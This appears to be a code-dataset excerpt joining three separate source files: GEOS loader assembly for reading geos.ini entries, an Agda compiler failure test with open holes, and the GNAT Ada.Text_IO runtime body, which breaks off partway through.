LoaderInitFileReadString proc near uses ax, bx, di, si, bp, ds .enter call StoreParamsAndFindKey jc exit mov cx, bp call ReconstructString clc exit: .leave ret LoaderInitFileReadString endp COMMENT @----------------------------------------------------------------------- FUNCTION: ReconstructString DESCRIPTION: Reconstruct the original string entry by removing any enclosing braces and escape characters. CALLED BY: INTERNAL (LoaderInitFileReadString) PASS: dgroup:[initFileBufPos] - offset from BufAddr to start of data es:di - buffer to place data in cx - size of buffer RETURN: es:di - buffer containing string cx - size of buffer used DESTROYED: ax, bx REGISTER/STACK USAGE: ds:si - buffer bp - blob flag (0 = false) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Cheng 11/89 Initial version -------------------------------------------------------------------------------@ ReconstructString proc near uses di .enter push cx ;save size of buffer call SkipWhiteSpace ;func(es) mov bx, -1 call GetChar cmp al, '{' ;blob? je blob inc bx ;bx <- 0 jmp charGotten blob: ;----------------------------------------------------------------------- ;ignore blob initiation chars - ie. '}', CR, LF call GetChar cmp al, C_CR jne charGotten call GetChar cmp al, C_LF jne charGotten copyLoop: call GetChar ;fetch char charGotten: tst bx ;processing blob? jne processingBlob ;branch if so cmp al, C_CR ;else CR? je copyDone ;done if so cmp al, C_LF ;LF? je copyDone ;done if so cmp al, MSDOS_TEXT_FILE_EOF ;EOF? je copyDone ;done if so doStore: stosb ;store char in buffer loop copyLoop ;loop if space still exists dec di ;make space for null terminator jmp copyDone ;go store terminator processingBlob: cmp al, '\\' ;escape char? je checkEscape ;branch if so ;not '\' cmp al,'}' ;blob terminator? jne doStore ;----------------------------------------------------------------------- ;unescaped blob terminator found, ignore trailing CR, LF if they exist sub di, 2 cmp {char} es:[di], C_CR jne copyDone add cx, 2 ;reduce byte count by CR, LF clr ax jmp short storeStrTerm checkEscape: ;'\' call GetChar ;fetch char EC< ERROR_C INIT_FILE_BAD_BLOB > cmp al, '}' ;escaping blob terminator? je doStore ;branch if so dec cs:[initFileBufPos] ;else unget char mov al, '\\' ;store '\' jmp short doStore copyDone: clr ax storeStrTerm: stosb ;store char in buffer pop ax ;retrieve size of buffer sub ax, cx mov cx, ax .leave ret ReconstructString endp COMMENT @----------------------------------------------------------------------- FUNCTION: LoaderInitFileReadBoolean DESCRIPTION: Locates the given identifier in the geos.ini file and checks if it is TRUE or FALSE. CALLED BY: utility PASS: ds:si - category ASCIIZ string cx:dx - key ASCIIZ string RETURN: carry set if is FALSE or cannot find key in GEOS.INI file carry clear if is TRUE DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: Yes, this is very simple. That's the idea. REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 3/93 Initial version -------------------------------------------------------------------------------@ ifndef IMAGE_TO_BE_DISPLAYED ifndef NO_SPLASH_SCREEN LoaderInitFileReadBoolean proc near uses ax, bx, di, si, bp, ds, es tempString local 2 dup (char) .enter push bp segmov es, ss, di lea di, ss:[tempString] ;es:di = temporary 2-byte buffer mov bp, size tempString ;bp = size of buffer ;start with the first .INI file, and read them all mov bx, offset loaderVars.KLV_initFileBufHan mov ax, MAX_INI_FILES call LoaderInitFileReadString pop bp jc done ;skip to end if cannot find it ; (is false)... cmp tempString, 'T' je isTrue cmp tempString, 't' stc jne done ;skip if not true... isTrue: ;indicate that it is TRUE clc done: .leave ret LoaderInitFileReadBoolean endp endif endif
test/Fail/Issue3982.agda
cruhland/agda
1,989
9425
<reponame>cruhland/agda module _ {a} {A : Set a} where open import Agda.Builtin.Equality open import Agda.Builtin.List infix 4 _⊆_ postulate _⊆_ : (xs ys : List A) → Set a ⊆-trans : ∀{xs ys zs} → xs ⊆ ys → ys ⊆ zs → xs ⊆ zs private variable xs ys zs : List A σ τ : ys ⊆ zs x y : A x≈y : x ≡ y lemma : ∀ us (ρ : us ⊆ zs) (τ' : x ∷ xs ⊆ us) (σ' : ys ⊆ us) (τ'∘ρ≡τ : ⊆-trans τ' ρ ≡ τ) (σ'∘ρ≡σ : ⊆-trans σ' ρ ≡ σ) → us ⊆ us lemma {τ = τ} {σ = σ} us ρ τ' σ' τ'∘ρ≡τ σ'∘ρ≡σ = lem {τ = τ} {σ} us ρ τ' σ' τ'∘ρ≡τ σ'∘ρ≡σ where lem : ∀ {ys zs} {τ : (x ∷ xs) ⊆ zs} {σ : ys ⊆ zs} us (ρ : us ⊆ zs) (τ' : x ∷ xs ⊆ us) (σ' : ys ⊆ us) (τ'∘ρ≡τ : ⊆-trans τ' ρ ≡ τ) (σ'∘ρ≡σ : ⊆-trans σ' ρ ≡ σ) → {!!} lem = {!!}
gcc-gcc-7_3_0-release/gcc/ada/a-textio.adb
best08618/asylo
7
2809
------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . T E X T _ I O -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2016, Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Ada.Streams; use Ada.Streams; with Interfaces.C_Streams; use Interfaces.C_Streams; with System.File_IO; with System.CRTL; with System.WCh_Cnv; use System.WCh_Cnv; with System.WCh_Con; use System.WCh_Con; with Ada.Unchecked_Conversion; with Ada.Unchecked_Deallocation; pragma Elaborate_All (System.File_IO); -- Needed because of calls to Chain_File in package body elaboration package body Ada.Text_IO is package FIO renames System.File_IO; subtype AP is FCB.AFCB_Ptr; function To_FCB is new Ada.Unchecked_Conversion (File_Mode, FCB.File_Mode); function To_TIO is new Ada.Unchecked_Conversion (FCB.File_Mode, File_Mode); use type FCB.File_Mode; use type System.CRTL.size_t; WC_Encoding : Character; pragma Import (C, WC_Encoding, "__gl_wc_encoding"); -- Default wide character encoding Err_Name : aliased String := "*stderr" & ASCII.NUL; In_Name : aliased String := "*stdin" & ASCII.NUL; Out_Name : aliased String := "*stdout" & ASCII.NUL; -- Names of standard files -- -- Use "preallocated" strings to avoid calling "new" during the elaboration -- of the run time. This is needed in the tasking case to avoid calling -- Task_Lock too early. A filename is expected to end with a null character -- in the runtime, here the null characters are added just to have a -- correct filename length. -- -- Note: the names for these files are bogus, and probably it would be -- better for these files to have no names, but the ACVC tests insist. -- We use names that are bound to fail in open etc. Null_Str : aliased constant String := ""; -- Used as form string for standard files ----------------------- -- Local Subprograms -- ----------------------- function Get_Upper_Half_Char (C : Character; File : File_Type) return Character; -- This function is shared by Get and Get_Immediate to extract an encoded -- upper half character value from the given File. The first byte has -- already been read and is passed in C. The character value is returned as -- the result, and the file pointer is bumped past the character. -- Constraint_Error is raised if the encoded value is outside the bounds of -- type Character. function Get_Upper_Half_Char_Immed (C : Character; File : File_Type) return Character; -- This routine is identical to Get_Upper_Half_Char, except that the reads -- are done in Get_Immediate mode (i.e. without waiting for a line return). function Getc (File : File_Type) return int; -- Gets next character from file, which has already been checked for being -- in read status, and returns the character read if no error occurs. The -- result is EOF if the end of file was read. function Getc_Immed (File : File_Type) return int; -- This routine is identical to Getc, except that the read is done in -- Get_Immediate mode (i.e. without waiting for a line return). function Has_Upper_Half_Character (Item : String) return Boolean; -- Returns True if any of the characters is in the range 16#80#-16#FF# function Nextc (File : File_Type) return int; -- Returns next character from file without skipping past it (i.e. it is a -- combination of Getc followed by an Ungetc). procedure Put_Encoded (File : File_Type; Char : Character); -- Called to output a character Char to the given File, when the encoding -- method for the file is other than brackets, and Char is upper half. procedure Putc (ch : int; File : File_Type); -- Outputs the given character to the file, which has already been checked -- for being in output status. Device_Error is raised if the character -- cannot be written. procedure Set_WCEM (File : in out File_Type); -- Called by Open and Create to set the wide character encoding method for -- the file, processing a WCEM form parameter if one is present. File is -- IN OUT because it may be closed in case of an error. procedure Terminate_Line (File : File_Type); -- If the file is in Write_File or Append_File mode, and the current line -- is not terminated, then a line terminator is written using New_Line. -- Note that there is no Terminate_Page routine, because the page mark at -- the end of the file is implied if necessary. procedure Ungetc (ch : int; File : File_Type); -- Pushes back character into stream, using ungetc. The caller has checked -- that the file is in read status. Device_Error is raised if the character -- cannot be pushed back. An attempt to push back and end of file character -- (EOF) is ignored. ------------------- -- AFCB_Allocate -- ------------------- function AFCB_Allocate (Control_Block : Text_AFCB) return FCB.AFCB_Ptr is pragma Unreferenced (Control_Block); begin return new Text_AFCB; end AFCB_Allocate; ---------------- -- AFCB_Close -- ---------------- procedure AFCB_Close (File : not null access Text_AFCB) is begin -- If the file being closed is one of the current files, then close -- the corresponding current file. It is not clear that this action -- is required (RM A.10.3(23)) but it seems reasonable, and besides -- ACVC test CE3208A expects this behavior. if File_Type (File) = Current_In then Current_In := null; elsif File_Type (File) = Current_Out then Current_Out := null; elsif File_Type (File) = Current_Err then Current_Err := null; end if; Terminate_Line (File_Type (File)); end AFCB_Close; --------------- -- AFCB_Free -- --------------- procedure AFCB_Free (File : not null access Text_AFCB) is type FCB_Ptr is access all Text_AFCB; FT : FCB_Ptr := FCB_Ptr (File); procedure Free is new Ada.Unchecked_Deallocation (Text_AFCB, FCB_Ptr); begin Free (FT); end AFCB_Free; ----------- -- Close -- ----------- procedure Close (File : in out File_Type) is begin FIO.Close (AP (File)'Unrestricted_Access); end Close; --------- -- Col -- --------- -- Note: we assume that it is impossible in practice for the column -- to exceed the value of Count'Last, i.e. no check is required for -- overflow raising layout error. function Col (File : File_Type) return Positive_Count is begin FIO.Check_File_Open (AP (File)); return File.Col; end Col; function Col return Positive_Count is begin return Col (Current_Out); end Col; ------------ -- Create -- ------------ procedure Create (File : in out File_Type; Mode : File_Mode := Out_File; Name : String := ""; Form : String := "") is Dummy_File_Control_Block : Text_AFCB; pragma Warnings (Off, Dummy_File_Control_Block); -- Yes, we know this is never assigned a value, only the tag -- is used for dispatching purposes, so that's expected. begin FIO.Open (File_Ptr => AP (File), Dummy_FCB => Dummy_File_Control_Block, Mode => To_FCB (Mode), Name => Name, Form => Form, Amethod => 'T', Creat => True, Text => True); File.Self := File; Set_WCEM (File); end Create; ------------------- -- Current_Error -- ------------------- function Current_Error return File_Type is begin return Current_Err; end Current_Error; function Current_Error return File_Access is begin return Current_Err.Self'Access; end Current_Error; ------------------- -- Current_Input -- ------------------- function Current_Input return File_Type is begin return Current_In; end Current_Input; function Current_Input return File_Access is begin return Current_In.Self'Access; end Current_Input; -------------------- -- Current_Output -- -------------------- function Current_Output return File_Type is begin return Current_Out; end Current_Output; function Current_Output return File_Access is begin return Current_Out.Self'Access; end Current_Output; ------------ -- Delete -- ------------ procedure Delete (File : in out File_Type) is begin FIO.Delete (AP (File)'Unrestricted_Access); end Delete; ----------------- -- End_Of_File -- ----------------- function End_Of_File (File : File_Type) return Boolean is ch : int; begin FIO.Check_Read_Status (AP (File)); if File.Before_Upper_Half_Character then return False; elsif File.Before_LM then if File.Before_LM_PM then return Nextc (File) = EOF; end if; else ch := Getc (File); if ch = EOF then return True; elsif ch /= LM then Ungetc (ch, File); return False; else -- ch = LM File.Before_LM := True; end if; end if; -- Here we are just past the line mark with Before_LM set so that we -- do not have to try to back up past the LM, thus avoiding the need -- to back up more than one character. ch := Getc (File); if ch = EOF then return True; elsif ch = PM and then File.Is_Regular_File then File.Before_LM_PM := True; return Nextc (File) = EOF; -- Here if neither EOF nor PM followed end of line else Ungetc (ch, File); return False; end if; end End_Of_File; function End_Of_File return Boolean is begin return End_Of_File (Current_In); end End_Of_File; ----------------- -- End_Of_Line -- ----------------- function End_Of_Line (File : File_Type) return Boolean is ch : int; begin FIO.Check_Read_Status (AP (File)); if File.Before_Upper_Half_Character then return False; elsif File.Before_LM then return True; else ch := Getc (File); if ch = EOF then return True; else Ungetc (ch, File); return (ch = LM); end if; end if; end End_Of_Line; function End_Of_Line return Boolean is begin return End_Of_Line (Current_In); end End_Of_Line; ----------------- -- End_Of_Page -- ----------------- function End_Of_Page (File : File_Type) return Boolean is ch : int; begin FIO.Check_Read_Status (AP (File)); if not File.Is_Regular_File then return False; elsif File.Before_Upper_Half_Character then return False; elsif File.Before_LM then if File.Before_LM_PM then return True; end if; else ch := Getc (File); if ch = EOF then return True; elsif ch /= LM then Ungetc (ch, File); return False; else -- ch = LM File.Before_LM := True; end if; end if; -- Here we are just past the line mark with Before_LM set so that we -- do not have to try to back up past the LM, thus avoiding the need -- to back up more than one character. ch := Nextc (File); return ch = PM or else ch = EOF; end End_Of_Page; function End_Of_Page return Boolean is begin return End_Of_Page (Current_In); end End_Of_Page; -------------- -- EOF_Char -- -------------- function EOF_Char return Integer is begin return EOF; end EOF_Char; ----------- -- Flush -- ----------- procedure Flush (File : File_Type) is begin FIO.Flush (AP (File)); end Flush; procedure Flush is begin Flush (Current_Out); end Flush; ---------- -- Form -- ---------- function Form (File : File_Type) return String is begin return FIO.Form (AP (File)); end Form; --------- -- Get -- --------- procedure Get (File : File_Type; Item : out Character) is ch : int; begin FIO.Check_Read_Status (AP (File)); if File.Before_Upper_Half_Character then File.Before_Upper_Half_Character := False; Item := File.Saved_Upper_Half_Character; elsif File.Before_LM then File.Before_LM := False; File.Col := 1; if File.Before_LM_PM then File.Line := 1; File.Page := File.Page + 1; File.Before_LM_PM := False; else File.Line := File.Line + 1; end if; end if; loop ch := Getc (File); if ch = EOF then raise End_Error; elsif ch = LM then File.Line := File.Line + 1; File.Col := 1; elsif ch = PM and then File.Is_Regular_File then File.Page := File.Page + 1; File.Line := 1; else Item := Character'Val (ch); File.Col := File.Col + 1; return; end if; end loop; end Get; procedure Get (Item : out Character) is begin Get (Current_In, Item); end Get; procedure Get (File : File_Type; Item : out String) is ch : int; J : Natural; begin FIO.Check_Read_Status (AP (File)); if File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; File.Col := 1; if File.Before_LM_PM then File.Line := 1; File.Page := File.Page + 1; File.Before_LM_PM := False; else File.Line := File.Line + 1; end if; end if; J := Item'First; while J <= Item'Last loop ch := Getc (File); if ch = EOF then raise End_Error; elsif ch = LM then File.Line := File.Line + 1; File.Col := 1; elsif ch = PM and then File.Is_Regular_File then File.Page := File.Page + 1; File.Line := 1; else Item (J) := Character'Val (ch); J := J + 1; File.Col := File.Col + 1; end if; end loop; end Get; procedure Get (Item : out String) is begin Get (Current_In, Item); end Get; ------------------- -- Get_Immediate -- ------------------- procedure Get_Immediate (File : File_Type; Item : out Character) is ch : int; begin FIO.Check_Read_Status (AP (File)); if File.Before_Upper_Half_Character then File.Before_Upper_Half_Character := False; Item := File.Saved_Upper_Half_Character; elsif File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; Item := Character'Val (LM); else ch := Getc_Immed (File); if ch = EOF then raise End_Error; else Item := (if not Is_Start_Of_Encoding (Character'Val (ch), File.WC_Method) then Character'Val (ch) else Get_Upper_Half_Char_Immed (Character'Val (ch), File)); end if; end if; end Get_Immediate; procedure Get_Immediate (Item : out Character) is begin Get_Immediate (Current_In, Item); end Get_Immediate; procedure Get_Immediate (File : File_Type; Item : out Character; Available : out Boolean) is ch : int; end_of_file : int; avail : int; procedure getc_immediate_nowait (stream : FILEs; ch : out int; end_of_file : out int; avail : out int); pragma Import (C, getc_immediate_nowait, "getc_immediate_nowait"); begin FIO.Check_Read_Status (AP (File)); Available := True; if File.Before_Upper_Half_Character then File.Before_Upper_Half_Character := False; Item := File.Saved_Upper_Half_Character; elsif File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; Item := Character'Val (LM); else getc_immediate_nowait (File.Stream, ch, end_of_file, avail); if ferror (File.Stream) /= 0 then raise Device_Error; elsif end_of_file /= 0 then raise End_Error; elsif avail = 0 then Available := False; Item := ASCII.NUL; else Available := True; Item := (if not Is_Start_Of_Encoding (Character'Val (ch), File.WC_Method) then Character'Val (ch) else Get_Upper_Half_Char_Immed (Character'Val (ch), File)); end if; end if; end Get_Immediate; procedure Get_Immediate (Item : out Character; Available : out Boolean) is begin Get_Immediate (Current_In, Item, Available); end Get_Immediate; -------------- -- Get_Line -- -------------- procedure Get_Line (File : File_Type; Item : out String; Last : out Natural) is separate; -- The implementation of Ada.Text_IO.Get_Line is split into a subunit so -- that different implementations can be used on different systems. procedure Get_Line (Item : out String; Last : out Natural) is begin Get_Line (Current_In, Item, Last); end Get_Line; function Get_Line (File : File_Type) return String is function Get_Rest (S : String) return String; -- This is a recursive function that reads the rest of the line and -- returns it. S is the part read so far. -------------- -- Get_Rest -- -------------- function Get_Rest (S : String) return String is -- The first time we allocate a buffer of size 500. Each following -- time we allocate a buffer the same size as what we have read so -- far. This limits us to a logarithmic number of calls to Get_Rest -- and also ensures only a linear use of stack space. Buffer : String (1 .. Integer'Max (500, S'Length)); Last : Natural; begin Get_Line (File, Buffer, Last); declare R : constant String := S & Buffer (1 .. Last); begin if Last < Buffer'Last then return R; else pragma Assert (Last = Buffer'Last); -- If the String has the same length as the buffer, and there -- is no end of line, check whether we are at the end of file, -- in which case we have the full String in the buffer. if End_Of_File (File) then return R; else return Get_Rest (R); end if; end if; end; end Get_Rest; -- Start of processing for Get_Line begin return Get_Rest (""); end Get_Line; function Get_Line return String is begin return Get_Line (Current_In); end Get_Line; ------------------------- -- Get_Upper_Half_Char -- ------------------------- function Get_Upper_Half_Char (C : Character; File : File_Type) return Character is Result : Wide_Character; function In_Char return Character; -- Function used to obtain additional characters it the wide character -- sequence is more than one character long. function WC_In is new Char_Sequence_To_Wide_Char (In_Char); ------------- -- In_Char -- ------------- function In_Char return Character is ch : constant Integer := Getc (File); begin if ch = EOF then raise End_Error; else return Character'Val (ch); end if; end In_Char; -- Start of processing for Get_Upper_Half_Char begin Result := WC_In (C, File.WC_Method); if Wide_Character'Pos (Result) > 16#FF# then raise Constraint_Error with "invalid wide character in Text_'I'O input"; else return Character'Val (Wide_Character'Pos (Result)); end if; end Get_Upper_Half_Char; ------------------------------- -- Get_Upper_Half_Char_Immed -- ------------------------------- function Get_Upper_Half_Char_Immed (C : Character; File : File_Type) return Character is Result : Wide_Character; function In_Char return Character; -- Function used to obtain additional characters it the wide character -- sequence is more than one character long. function WC_In is new Char_Sequence_To_Wide_Char (In_Char); ------------- -- In_Char -- ------------- function In_Char return Character is ch : constant Integer := Getc_Immed (File); begin if ch = EOF then raise End_Error; else return Character'Val (ch); end if; end In_Char; -- Start of processing for Get_Upper_Half_Char_Immed begin Result := WC_In (C, File.WC_Method); if Wide_Character'Pos (Result) > 16#FF# then raise Constraint_Error with "invalid wide character in Text_'I'O input"; else return Character'Val (Wide_Character'Pos (Result)); end if; end Get_Upper_Half_Char_Immed; ---------- -- Getc -- ---------- function Getc (File : File_Type) return int is ch : int; begin ch := fgetc (File.Stream); if ch = EOF and then ferror (File.Stream) /= 0 then raise Device_Error; else return ch; end if; end Getc; ---------------- -- Getc_Immed -- ---------------- function Getc_Immed (File : File_Type) return int is ch : int; end_of_file : int; procedure getc_immediate (stream : FILEs; ch : out int; end_of_file : out int); pragma Import (C, getc_immediate, "getc_immediate"); begin FIO.Check_Read_Status (AP (File)); if File.Before_LM then File.Before_LM := False; File.Before_LM_PM := False; ch := LM; else getc_immediate (File.Stream, ch, end_of_file); if ferror (File.Stream) /= 0 then raise Device_Error; elsif end_of_file /= 0 then return EOF; end if; end if; return ch; end Getc_Immed; ------------------------------ -- Has_Upper_Half_Character -- ------------------------------ function Has_Upper_Half_Character (Item : String) return Boolean is begin for J in Item'Range loop if Character'Pos (Item (J)) >= 16#80# then return True; end if; end loop; return False; end Has_Upper_Half_Character; ------------------------------- -- Initialize_Standard_Files -- ------------------------------- procedure Initialize_Standard_Files is begin Standard_Err.Stream := stderr; Standard_Err.Name := Err_Name'Access; Standard_Err.Form := Null_Str'Unrestricted_Access; Standard_Err.Mode := FCB.Out_File; Standard_Err.Is_Regular_File := is_regular_file (fileno (stderr)) /= 0; Standard_Err.Is_Temporary_File := False; Standard_Err.Is_System_File := True; Standard_Err.Text_Encoding := Default_Text; Standard_Err.Access_Method := 'T'; Standard_Err.Self := Standard_Err; Standard_Err.WC_Method := Default_WCEM; Standard_In.Stream := stdin; Standard_In.Name := In_Name'Access; Standard_In.Form := Null_Str'Unrestricted_Access; Standard_In.Mode := FCB.In_File; Standard_In.Is_Regular_File := is_regular_file (fileno (stdin)) /= 0; Standard_In.Is_Temporary_File := False; Standard_In.Is_System_File := True; Standard_In.Text_Encoding := Default_Text; Standard_In.Access_Method := 'T'; Standard_In.Self := Standard_In; Standard_In.WC_Method := Default_WCEM; Standard_Out.Stream := stdout; Standard_Out.Name := Out_Name'Access; Standard_Out.Form := Null_Str'Unrestricted_Access; Standard_Out.Mode := FCB.Out_File; Standard_Out.Is_Regular_File := is_regular_file (fileno (stdout)) /= 0; Standard_Out.Is_Temporary_File := False; Standard_Out.Is_System_File := True; Standard_Out.Text_Encoding := Default_Text; Standard_Out.Access_Method := 'T'; Standard_Out.Self := Standard_Out; Standard_Out.WC_Method := Default_WCEM; FIO.Make_Unbuffered (AP (Standard_Out)); FIO.Make_Unbuffered (AP (Standard_Err)); end Initialize_Standard_Files; ------------- -- Is_Open -- ------------- function Is_Open (File : File_Type) return Boolean is begin return FIO.Is_Open (AP (File)); end Is_Open; ---------- -- Line -- ---------- -- Note: we assume that it is impossible in practice for the line -- to exceed the value of Count'Last, i.e. no check is required for -- overflow raising layout error. function Line (File : File_Type) return Positive_Count is begin FIO.Check_File_Open (AP (File)); return File.Line; end Line; function Line return Positive_Count is begin return Line (Current_Out); end Line; ----------------- -- Line_Length -- ----------------- function Line_Length (File : File_Type) return Count is begin FIO.Check_Write_Status (AP (File)); return File.Line_Length; end Line_Length; function Line_Length return Count is begin return Line_Length (Current_Out); end Line_Length; ---------------- -- Look_Ahead -- ---------------- procedure Look_Ahead (File : File_Type; Item : out Character; End_Of_Line : out Boolean) is ch : int; begin FIO.Check_Read_Status (AP (File)); -- If we are logically before a line mark, we can return immediately if File.Before_LM then End_Of_Line := True; Item := ASCII.NUL; -- If we are before an upper half character just return it (this can -- happen if there are two calls to Look_Ahead in a row). elsif File.Before_Upper_Half_Character then End_Of_Line := False; Item := File.Saved_Upper_Half_Character; -- Otherwise we must read a character from the input stream else ch := Getc (File); if ch = LM or else ch = EOF or else (ch = PM and then File.Is_Regular_File) then End_Of_Line := True; Ungetc (ch, File); Item := ASCII.NUL; -- Case where character obtained does not represent the start of an -- encoded sequence so it stands for itself and we can unget it with -- no difficulty. elsif not Is_Start_Of_Encoding (Character'Val (ch), File.WC_Method) then End_Of_Line := False; Ungetc (ch, File); Item := Character'Val (ch); -- For the start of an encoding, we read the character using the -- Get_Upper_Half_Char routine. It will occupy more than one byte -- so we can't put it back with ungetc. Instead we save it in the -- control block, setting a flag that everyone interested in reading -- characters must test before reading the stream. else Item := Get_Upper_Half_Char (Character'Val (ch), File); End_Of_Line := False; File.Saved_Upper_Half_Character := Item; File.Before_Upper_Half_Character := True; end if; end if; end Look_Ahead; procedure Look_Ahead (Item : out Character; End_Of_Line : out Boolean) is begin Look_Ahead (Current_In, Item, End_Of_Line); end Look_Ahead; ---------- -- Mode -- ---------- function Mode (File : File_Type) return File_Mode is begin return To_TIO (FIO.Mode (AP (File))); end Mode; ---------- -- Name -- ---------- function Name (File : File_Type) return String is begin return FIO.Name (AP (File)); end Name; -------------- -- New_Line -- -------------- procedure New_Line (File : File_Type; Spacing : Positive_Count := 1) is begin -- Raise Constraint_Error if out of range value. The reason for this -- explicit test is that we don't want junk values around, even if -- checks are off in the caller. if not Spacing'Valid then raise Constraint_Error; end if; FIO.Check_Write_Status (AP (File)); for K in 1 .. Spacing loop Putc (LM, File); File.Line := File.Line + 1; if File.Page_Length /= 0 and then File.Line > File.Page_Length then Putc (PM, File); File.Line := 1; File.Page := File.Page + 1; end if; end loop; File.Col := 1; end New_Line; procedure New_Line (Spacing : Positive_Count := 1) is begin New_Line (Current_Out, Spacing); end New_Line; -------------- -- New_Page -- -------------- procedure New_Page (File : File_Type) is begin FIO.Check_Write_Status (AP (File)); if File.Col /= 1 or else File.Line = 1 then Putc (LM, File); end if; Putc (PM, File); File.Page := File.Page + 1; File.Line := 1; File.Col := 1; end New_Page; procedure New_Page is begin New_Page (Current_Out); end New_Page; ----------- -- Nextc -- ----------- function Nextc (File : File_Type) return int is ch : int; begin ch := fgetc (File.Stream); if ch = EOF then if ferror (File.Stream) /= 0 then raise Device_Error; end if; else if ungetc (ch, File.Stream) = EOF then raise Device_Error; end if; end if; return ch; end Nextc; ---------- -- Open -- ---------- procedure Open (File : in out File_Type; Mode : File_Mode; Name : String; Form : String := "") is Dummy_File_Control_Block : Text_AFCB; pragma Warnings (Off, Dummy_File_Control_Block); -- Yes, we know this is never assigned a value, only the tag -- is used for dispatching purposes, so that's expected. begin FIO.Open (File_Ptr => AP (File), Dummy_FCB => Dummy_File_Control_Block, Mode => To_FCB (Mode), Name => Name, Form => Form, Amethod => 'T', Creat => False, Text => True); File.Self := File; Set_WCEM (File); end Open; ---------- -- Page -- ---------- -- Note: we assume that it is impossible in practice for the page -- to exceed the value of Count'Last, i.e. no check is required for -- overflow raising layout error. function Page (File : File_Type) return Positive_Count is begin FIO.Check_File_Open (AP (File)); return File.Page; end Page; function Page return Positive_Count is begin return Page (Current_Out); end Page; ----------------- -- Page_Length -- ----------------- function Page_Length (File : File_Type) return Count is begin FIO.Check_Write_Status (AP (File)); return File.Page_Length; end Page_Length; function Page_Length return Count is begin return Page_Length (Current_Out); end Page_Length; --------- -- Put -- --------- procedure Put (File : File_Type; Item : Character) is begin FIO.Check_Write_Status (AP (File)); if File.Line_Length /= 0 and then File.Col > File.Line_Length then New_Line (File); end if; -- If lower half character, or brackets encoding, output directly if Character'Pos (Item) < 16#80# or else File.WC_Method = WCEM_Brackets then if fputc (Character'Pos (Item), File.Stream) = EOF then raise Device_Error; end if; -- Case of upper half character with non-brackets encoding else Put_Encoded (File, Item); end if; File.Col := File.Col + 1; end Put; procedure Put (Item : Character) is begin Put (Current_Out, Item); end Put; --------- -- Put -- --------- procedure Put (File : File_Type; Item : String) is begin FIO.Check_Write_Status (AP (File)); -- Only have something to do if string is non-null if Item'Length > 0 then -- If we have bounded lines, or if the file encoding is other than -- Brackets and the string has at least one upper half character, -- then output the string character by character. if File.Line_Length /= 0 or else (File.WC_Method /= WCEM_Brackets and then Has_Upper_Half_Character (Item)) then for J in Item'Range loop Put (File, Item (J)); end loop; -- Otherwise we can output the entire string at once. Note that if -- there are LF or FF characters in the string, we do not bother to -- count them as line or page terminators. else FIO.Write_Buf (AP (File), Item'Address, Item'Length); File.Col := File.Col + Item'Length; end if; end if; end Put; procedure Put (Item : String) is begin Put (Current_Out, Item); end Put; ----------------- -- Put_Encoded -- ----------------- procedure Put_Encoded (File : File_Type; Char : Character) is procedure Out_Char (C : Character); -- Procedure to output one character of an upper half encoded sequence procedure WC_Out is new Wide_Char_To_Char_Sequence (Out_Char); -------------- -- Out_Char -- -------------- procedure Out_Char (C : Character) is begin Putc (Character'Pos (C), File); end Out_Char; -- Start of processing for Put_Encoded begin WC_Out (Wide_Character'Val (Character'Pos (Char)), File.WC_Method); end Put_Encoded; -------------- -- Put_Line -- -------------- procedure Put_Line (File : File_Type; Item : String) is Ilen : Natural := Item'Length; Istart : Natural := Item'First; begin FIO.Check_Write_Status (AP (File)); -- If we have bounded lines, or if the file encoding is other than -- Brackets and the string has at least one upper half character, then -- output the string character by character. if File.Line_Length /= 0 or else (File.WC_Method /= WCEM_Brackets and then Has_Upper_Half_Character (Item)) then for J in Item'Range loop Put (File, Item (J)); end loop; New_Line (File); return; end if; -- Normal case where we do not need to output character by character -- We setup a single string that has the necessary terminators and -- then write it with a single call. The reason for doing this is -- that it gives better behavior for the use of Put_Line in multi- -- tasking programs, since often the OS will treat the entire put -- operation as an atomic operation. -- We only do this if the message is 512 characters or less in length, -- since otherwise Put_Line would use an unbounded amount of stack -- space and could cause undetected stack overflow. If we have a -- longer string, then output the first part separately to avoid this. if Ilen > 512 then FIO.Write_Buf (AP (File), Item'Address, size_t (Ilen - 512)); Istart := Istart + Ilen - 512; Ilen := 512; end if; -- Now prepare the string with its terminator declare Buffer : String (1 .. Ilen + 2); Plen : size_t; begin Buffer (1 .. Ilen) := Item (Istart .. Item'Last); Buffer (Ilen + 1) := Character'Val (LM); if File.Page_Length /= 0 and then File.Line > File.Page_Length then Buffer (Ilen + 2) := Character'Val (PM); Plen := size_t (Ilen) + 2; File.Line := 1; File.Page := File.Page + 1; else Plen := size_t (Ilen) + 1; File.Line := File.Line + 1; end if; FIO.Write_Buf (AP (File), Buffer'Address, Plen); File.Col := 1; end; end Put_Line; procedure Put_Line (Item : String) is begin Put_Line (Current_Out, Item); end Put_Line; ---------- -- Putc -- ---------- procedure Putc (ch : int; File : File_Type) is begin if fputc (ch, File.Stream) = EOF then raise Device_Error; end if; end Putc; ---------- -- Read -- ---------- -- This is the primitive Stream Read routine, used when a Text_IO file -- is treated directly as a stream using Text_IO.Streams.Stream. procedure Read (File : in out Text_AFCB; Item : out 